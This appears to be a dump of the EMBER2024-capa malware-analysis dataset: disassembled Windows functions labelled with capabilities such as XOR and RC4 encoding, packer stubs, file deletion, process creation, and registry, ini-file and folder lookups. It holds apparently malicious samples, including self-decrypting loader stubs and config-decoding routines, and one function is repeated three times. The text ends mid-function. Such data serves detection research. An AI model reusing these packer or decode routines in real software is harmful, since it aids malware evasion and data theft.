joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1015593
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [section..data]
cmp eax, section..data
je 0x10155c2
test dword [eax + 0x1c], 0x20000000
je 0x10155c2
push 0x1002e14
push 0x14
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.0100cd5c
push esi
push 1
push 0x1bb
push 0x1002f08
lea ecx, [ebp - 0x3c]
call fcn.010148a2
xor esi, esi
mov eax, 0x10032b8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov eax, 0x1c3
cmp dword [ebp + 8], esi
jne 0x101560a
mov dword [ebp - 0x3c], 0x80070057
mov word [ebp - 0x36], ax
jmp 0x1015773
push ebx
mov ebx, dword [ebp + 0xc]
mov word [ebp - 0x38], ax
mov eax, 0x1c4
cmp ebx, 2
jae 0x101562c
mov dword [ebp - 0x3c], 0x80070057
mov word [ebp - 0x36], ax
jmp 0x1015772
push edi
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x3c], esi
mov word [ebp - 0x38], ax
call fcn.0101533d
mov edi, 0x1002e34
push edi
push esi
push dword [ebp + 8]
mov esi, 0x1002ee0
lea eax, [ebp - 0xc]
push esi
push eax
call fcn.010172ae
add esp, 0x14
mov dword [ebp - 0x3c], eax
test eax, eax
mov eax, 0x1cb
jl 0x101576d
push dword [ebp - 0xc]
mov word [ebp - 0x38], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x101569d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x101568b
cmp eax, 3
jne 0x101569d
and dword [ebp - 0x3c], 0
mov eax, 0x1d3
mov word [ebp - 0x38], ax
jmp 0x1015771
push edi
dec ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push esi
push eax
call fcn.010172ae
add esp, 0x14
mov dword [ebp - 0x3c], eax
test eax, eax
mov eax, 0x1d8
jl 0x101576d
push dword [ebp - 0xc]
mov word [ebp - 0x38], ax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x101574b
push edi
lea ebx, [eax - 1]
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.010172ae
add esp, 0x14
mov dword [ebp - 0x3c], eax
test eax, eax
mov eax, 0x1df
jl 0x101576d
push 1
push dword [ebp - 0xc]
mov word [ebp - 0x38], ax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x1015728
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x101571b
cmp eax, 0x20
je 0x101571b
cmp eax, 5
jne 0x1015757
and dword [ebp - 0x3c], 0
mov eax, 0x1ec
mov word [ebp - 0x38], ax
push dword [ebp - 0xc]
call fcn.01015249
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0xc]
call fcn.01017aa3
mov dword [ebp - 0x3c], eax
test eax, eax
mov eax, 0x1f3
jl 0x101576d
mov word [ebp - 0x38], ax
mov eax, ebx
test eax, eax
ja 0x10156cf
jmp 0x1015771
test eax, eax
jle 0x1015765
and eax, 0xffff
or eax, 0x80070000
mov dword [ebp - 0x3c], eax
mov eax, 0x1ec
mov word [ebp - 0x36], ax
pop edi
pop ebx
mov esi, dword [ebp - 0x3c]
lea ecx, [ebp - 0xc]
call fcn.01016fe9
lea ecx, [ebp - 0x18]
call fcn.01016fe9
lea ecx, [ebp - 0x3c]
call fcn.01014aa3
mov eax, esi
pop esi
leave
ret 8
Function at 0x1015bce
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push 2
push 0x21
push 0x1002f64
lea ecx, [ebp - 0x30]
call fcn.010148a2
mov ebx, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
cmp ebx, esi
je 0x1015bfd
mov dword [ebx], esi
push 0x2a
pop eax
cmp dword [ebp + 0xc], esi
jne 0x1015c15
mov dword [ebp - 0x30], 0x80070057
mov word [ebp - 0x2a], ax
jmp 0x1015cc2
push 0x2b
mov word [ebp - 0x2c], ax
pop eax
cmp ebx, esi
je 0x1015c05
mov word [ebp - 0x2c], ax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push esi
push dword [ebp + 0xc]
mov dword [ebp - 0x30], esi
push dword [ebp + 8]
mov dword [ebp - 4], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp + 0x14], esi
je 0x1015c5c
cmp eax, 2
jne 0x1015c5c
mov dword [ebp - 0x30], 1
push 0x31
jmp 0x1015cbd
cmp eax, esi
jle 0x1015c6a
and eax, 0xffff
or eax, 0x80070000
push 0x34
mov dword [ebp - 0x30], eax
cmp eax, esi
pop eax
jge 0x1015c81
mov word [ebp - 0x2a], ax
mov dword [ebp - 0x28], 1
jmp 0x1015cc2
cmp dword [ebp - 8], 4
push 0x36
mov word [ebp - 0x2c], ax
pop eax
je 0x1015c9a
mov dword [ebp - 0x30], 0x8007065d
jmp 0x1015c0c
cmp dword [ebp - 4], 4
mov word [ebp - 0x2c], ax
je 0x1015cb3
push 0x37
mov dword [ebp - 0x30], 0x80004005
pop eax
jmp 0x1015c0c
mov eax, dword [ebp - 0xc]
mov dword [ebx], eax
mov dword [ebp - 0x30], esi
push 0x3b
pop eax
mov word [ebp - 0x2c], ax
mov esi, dword [ebp - 0x30]
lea ecx, [ebp - 0x30]
call fcn.01014aa3
mov eax, esi
pop esi
pop ebx
leave
ret 0x10
Function at 0x1016344
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x101b2b8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push 1
push 0x393
push 0x10030d4
lea ecx, [ebp - 0x234]
call fcn.010148a2
xor eax, eax
push 0x208
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x398
test edi, edi
jne 0x10163b2
mov dword [ebp - 0x234], 0x80070057
mov word [ebp - 0x22e], ax
jmp 0x101645c
cmp dword [ebp + 0xc], 0
mov word [ebp - 0x230], ax
mov eax, 0x399
jbe 0x101639c
and dword [ebp - 0x234], 0
mov word [ebp - 0x230], ax
xor eax, eax
mov word [edi], ax
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
push 0x10030b4
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x1016405
call fcn.01015b6b
mov dword [ebp - 0x234], eax
mov eax, 0x3a2
jmp 0x10163a6
mov ecx, 0x3a2
cmp eax, esi
mov word [ebp - 0x230], cx
lea eax, [ecx + 1]
jbe 0x1016424
mov dword [ebp - 0x234], 0x8007007a
jmp 0x10163a6
push dword [ebp + 0xc]
and dword [ebp - 0x234], 0
mov word [ebp - 0x230], ax
push edi
lea eax, [ebp - 0x210]
push eax
call fcn.01016034
mov dword [ebp - 0x234], eax
test eax, eax
mov eax, 0x3a5
jl 0x10163a6
mov word [ebp - 0x230], ax
mov esi, dword [ebp - 0x234]
lea ecx, [ebp - 0x234]
call fcn.01014aa3
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.01014215
leave
ret 8
Function at 0x423a3f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4362ec]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.004239d4
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00414b10
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x423a8e
cmp dword [ebp - 0x1c], 5
jb 0x423aa6
jmp 0x423aa2
cmp dword [ebp - 0x10], 1
jne 0x423aa6
cmp dword [ebp - 0x1c], 4
ja 0x423aa2
jne 0x423aa6
cmp dword [ebp - 0x18], 0
jbe 0x423aa6
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x42adfc
call fcn.00407108
test eax, eax
jge 0x423ac7
mov byte [0x439698], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004147c2
add ebp, 0x78
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..pdata
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x413611a8
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..pdata_1
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x2cdb06ac
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x431001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x431072
nop
nop
nop
mov ebx, 0x40915c
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x2bc90af1
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x431060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x4310d2
nop
nop
nop
nop
nop
mov ebx, 0x42f3f8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x6b8b6974
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404a6d
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2064
call fcn.0040f120
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
xor esi, esi
cmp dword [0x4114d4], esi
push edi
mov dword [ebp - 4], esi
jne 0x404aa3
jmp 0x404a99
push 0x2710
call ebx
call fcn.00409571
cmp eax, 1
jne 0x404a92
cmp dword [ebp + 0x18], esi
jne 0x404ab5
push 4
push esi
push 7
call fcn.0040cbdf
add esp, 0xc
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edi, edi
cmp dword [ebp + 0x14], esi
jle 0x404aeb
push dword [ebp + 0x18]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004096b4
add esp, 0x10
test eax, eax
jne 0x404af2
push 0xea60
inc edi
call ebx
cmp edi, dword [ebp + 0x14]
jl 0x404ac5
xor eax, eax
jmp 0x404b91
cmp dword [ebp + 0x18], esi
jne 0x404b04
push 4
push esi
push 8
call fcn.0040cbdf
add esp, 0xc
push 0x44
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.0040f0a0
lea eax, [ebp - 0x2060]
add esp, 0xc
push eax
mov edx, 0x4015c0
call fcn.00407a99
pop ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x2060]
call fcn.00407a75
mov ecx, 0x4015c4
call fcn.00407a75
cmp dword [ebp + 0x10], esi
je 0x404b61
mov edx, dword [ebp + 0x10]
mov eax, 0x40127c
call fcn.004079ef
test eax, eax
je 0x404b61
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x2060]
call fcn.00407a75
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push 0x421358
push esi
push 0x20
push esi
push esi
push esi
lea eax, [ebp - 0x2060]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x404b8e
or dword [ebp - 4], 8
jmp 0x404b91
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x1c]
cmp ecx, esi
je 0x404b9d
mov edx, dword [ebp - 4]
mov dword [ecx], edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405a90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ecx]
sub esp, 0x140
push ebx
push esi
xor esi, esi
test ax, ax
push edi
mov edx, ecx
je 0x405abb
movzx eax, ax
cmp ax, 3
je 0x405ac3
inc edx
inc edx
movzx eax, word [edx]
test ax, ax
jne 0x405aab
cmp word [edx], 3
je 0x405ac3
xor edx, edx
test edx, edx
je 0x405ad3
call fcn.0040de6d
mov dword [ebp - 4], eax
mov ebx, ecx
jmp 0x405aeb
lea ebx, [ebp - 0x40]
mov eax, ebx
push eax
mov edx, 0x402364
mov dword [ebp - 4], 0x1c
call fcn.00407a99
pop ecx
mov ecx, dword [ebp + 8]
call fcn.0040de6d
cdq
sub eax, edx
mov edi, eax
sar edi, 1
cmp edi, 0xff
jge 0x405b58
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x140]
call fcn.0040dd3c
test al, al
je 0x405b58
dec edi
xor ecx, ecx
xor esi, esi
test edi, edi
jle 0x405b4e
cmp esi, dword [ebp - 4]
jne 0x405b24
xor esi, esi
mov al, byte [ebx + esi*2]
xor al, byte [ebp + ecx - 0x13f]
mov dl, byte [ebp + ecx - 0x140]
cmp al, dl
jae 0x405b3b
dec al
sub al, dl
mov edx, dword [ebp + 8]
movzx ax, al
mov word [edx + ecx*2], ax
inc ecx
inc esi
cmp ecx, edi
jl 0x405b1d
mov eax, dword [ebp + 8]
and word [eax + ecx*2], 0
mov esi, ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x405df7
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.0040d9a6
lea eax, [ebp - 0x70]
push eax
mov edx, 0x4022d0
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x30]
push eax
mov edx, 0x4022b8
call fcn.00407a99
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x70]
push eax
lea edi, [ebp - 0x278]
mov eax, 0x80000002
call fcn.0040a93d
add esp, 0xc
cmp eax, 0xffffffff
je 0x405e7c
cmp eax, ebx
jbe 0x405e7c
push esi
lea eax, [ebp - 0x480]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.00405b5f
pop ecx
pop ecx
cmp dword [ebp - 4], ebx
jne 0x405ef1
lea eax, [ebp - 0x48]
push eax
mov edx, 0x4022a0
call fcn.00407a99
lea eax, [ebp - 0x48]
pop ecx
mov dword [ebp - 0x18], 0x23
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x26
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x278]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x405ee8
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 0x405bc6
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.0040a6f6
add esp, 0x24
inc esi
cmp esi, 3
jb 0x405ead
cmp dword [ebp - 4], ebx
jbe 0x405efd
mov esi, dword [ebp - 8]
call fcn.00405a57
jmp 0x405f06
push dword [ebp - 8]
call fcn.0040d943
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405f0b
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [ecx]
imul eax, eax, 0x8088405
push 0x20
push 0
push dword [esp + 0xc]
inc eax
push 0
push eax
mov dword [ecx], eax
call fcn.0040aa7e
push edx
push eax
call fcn.0040aa4f
ret
Function at 0x405f2e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x108
push ebx
push esi
push edi
call fcn.0040de6d
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x406053
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x108]
call fcn.0040dd3c
test al, al
je 0x406053
sub esi, 4
xor ebx, ebx
test esi, esi
mov dword [ebp - 4], 0xcf671
jle 0x405f9b
push 8
lea ecx, [ebp - 4]
lea edi, [ebp + ebx - 0x108]
call fcn.00405f0b
pop ecx
movsx ecx, al
mov al, byte [edi]
rol al, cl
inc ebx
cmp ebx, esi
mov byte [edi], al
jl 0x405f7b
mov dword [ebp - 4], 0x3039
mov dword [ebp - 8], 0x100
push esi
lea ecx, [ebp - 4]
call fcn.00405f0b
pop ecx
push esi
lea ecx, [ebp - 4]
movsx edi, al
call fcn.00405f0b
dec dword [ebp - 8]
pop ecx
movsx ecx, al
lea ecx, [ebp + ecx - 0x108]
mov bl, byte [ecx]
lea eax, [ebp + edi - 0x108]
mov dl, byte [eax]
mov byte [eax], bl
mov byte [ecx], dl
jne 0x405fa9
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xa564
jle 0x406005
push 0x100
lea ecx, [ebp - 4]
call fcn.00405f0b
xor byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x405feb
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xd431
jle 0x40602c
push 0x100
lea ecx, [ebp - 4]
call fcn.00405f0b
sub byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x406012
xor eax, eax
test esi, esi
jle 0x406047
movzx cx, byte [ebp + eax - 0x108]
mov edx, dword [ebp + 8]
mov word [edx + eax*2], cx
inc eax
cmp eax, esi
jl 0x406032
mov eax, dword [ebp + 8]
and word [eax + esi*2], 0
mov eax, esi
jmp 0x406055
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4060a1
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x20002
push 8
push dword [0x424b8c]
call edi
mov ebx, eax
xor eax, eax
cmp ebx, eax
mov dword [ebp - 0x14], ebx
je 0x406271
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xffff
push ebx
push eax
push eax
push eax
call esi
test eax, eax
jbe 0x40626a
lea ecx, [eax + 1]
mov eax, ebx
call fcn.0040df7e
test al, al
je 0x40626a
push 0xc0c
push 8
push dword [0x424b8c]
call edi
mov edi, eax
test edi, edi
mov dword [ebp - 0x10], edi
je 0x40626a
lea eax, [edi + 0x3fc]
mov dword [ebp - 8], eax
add eax, 0x1fe
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x74]
push eax
mov edx, 0x402270
mov dword [ebp - 4], ebx
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x34]
push eax
mov edx, 0x402260
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x24]
push eax
mov edx, 0x402254
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x48]
push eax
mov edx, 0x402240
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x5c]
push eax
mov edx, 0x40222c
call fcn.00407a99
pop ecx
mov ebx, 0xff
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x40624a
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x40624a
push dword [ebp + 8]
push ebx
push edi
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x40624a
push dword [ebp + 8]
lea eax, [edi + 0x1fe]
push ebx
push eax
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x40624a
push dword [ebp + 8]
lea eax, [ebp - 0x5c]
push ebx
push dword [ebp - 8]
push 0
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x40624a
push dword [ebp - 8]
call fcn.00405f2e
test eax, eax
pop ecx
jle 0x40624a
lea eax, [ebp - 0x94]
push eax
mov edx, 0x4023c8
call fcn.00407a99
pop ecx
push edi
push dword [ebp - 8]
mov edi, dword [ebp - 0xc]
push dword [ebp - 0x18]
lea eax, [ebp - 0x94]
push eax
mov edx, 0x307
call fcn.0040df02
add esp, 0x10
test eax, eax
jle 0x406247
push edi
mov edi, dword [ebp + 0xc]
mov ecx, edi
call fcn.0040db14
test al, al
pop ecx
je 0x406247
inc dword [edi + 4]
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
push 1
call fcn.0040df9e
test eax, eax
pop ecx
mov dword [ebp - 4], eax
jne 0x40617f
push edi
call fcn.0040d943
mov ebx, dword [ebp - 0x14]
pop ecx
push ebx
call fcn.0040d943
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4062c7
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.0040d9a6
lea eax, [ebp - 0x100]
mov ebx, 0x4021e8
push eax
mov edx, ebx
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x6c]
push eax
mov edx, 0x4021cc
call fcn.00407a99
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x100]
push eax
lea edi, [ebp - 0x308]
mov eax, 0x80000001
call fcn.0040a93d
add esp, 0xc
cmp eax, 0xffffffff
je 0x406360
test eax, eax
jbe 0x406360
push esi
lea eax, [ebp - 0x510]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x510]
push eax
call fcn.004060a1
pop ecx
pop ecx
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp dword [ebp - 8], 0
jne 0x4064b5
lea eax, [ebp - 0x40]
push eax
mov edx, 0x40219c
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x9c]
push eax
mov edx, 0x402178
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x54]
push eax
mov edx, 0x402164
call fcn.00407a99
and dword [ebp - 4], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
pop ecx
mov dword [ebp - 0x28], 0x24
mov dword [ebp - 0x24], 0x1a
mov dword [ebp - 0x20], 0x26
mov dword [ebp - 0x1c], 0x23
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov edi, dword [ebp + eax*4 - 0x28]
lea eax, [ebp - 0x308]
push eax
xor eax, eax
push eax
push eax
push edi
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x406436
cmp edi, 0x24
jne 0x406411
xor edi, edi
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.0040605a
add esp, 0xc
mov word [ebp - 0x302], di
jmp 0x406413
xor edi, edi
push edi
push edi
push edi
lea eax, [ebp - 0xc]
push eax
push 0x406276
push 2
push 3
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.0040a6f6
add esp, 0x24
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jb 0x4063cf
cmp dword [ebp - 8], 0
jne 0x4064b5
lea eax, [ebp - 0xb8]
push eax
mov edx, ebx
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x40]
push eax
mov edx, 0x4021b4
call fcn.00407a99
pop ecx
push esi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xb8]
push eax
lea edi, [ebp - 0x308]
mov eax, 0x80000001
call fcn.0040a93d
add esp, 0xc
cmp eax, 0xffffffff
je 0x4064b1
test eax, eax
jbe 0x4064b1
push esi
lea eax, [ebp - 0x510]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x510]
push eax
call fcn.0040605a
add esp, 0xc
cmp dword [ebp - 8], 0
jbe 0x4064c1
mov esi, dword [ebp - 0xc]
call fcn.00405a57
jmp 0x4064ca
push dword [ebp - 0xc]
call fcn.0040d943
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40679e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push esi
lea eax, [ebp - 0x30]
push edi
push eax
mov edx, 0x4020f8
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x30]
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.0040d9a6
xor edi, edi
lea eax, [ebp - 0x238]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40681e
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x4064cf
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.0040a6f6
add esp, 0x24
inc edi
cmp edi, 3
jb 0x4067e3
cmp dword [ebp - 4], esi
jbe 0x406833
mov esi, dword [ebp - 8]
call fcn.00405a57
jmp 0x40683c
push dword [ebp - 8]
call fcn.0040d943
pop ecx
pop edi
pop esi
leave
ret

Function at 0x406840
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xff
push edi
lea eax, [ebp - 0x100]
push eax
call fcn.0040d97f
mov cl, byte [ebp - 0xff]
xor cl, byte [ebp - 0x100]
mov dl, byte [ebp - 0xfe]
or cl, 0x50
xor eax, eax
test dl, dl
mov byte [ebp - 2], 0
je 0x406894
push esi
lea esi, [ebp - 0xfe]
xor dl, cl
movzx dx, dl
mov word [edi + eax*2], dx
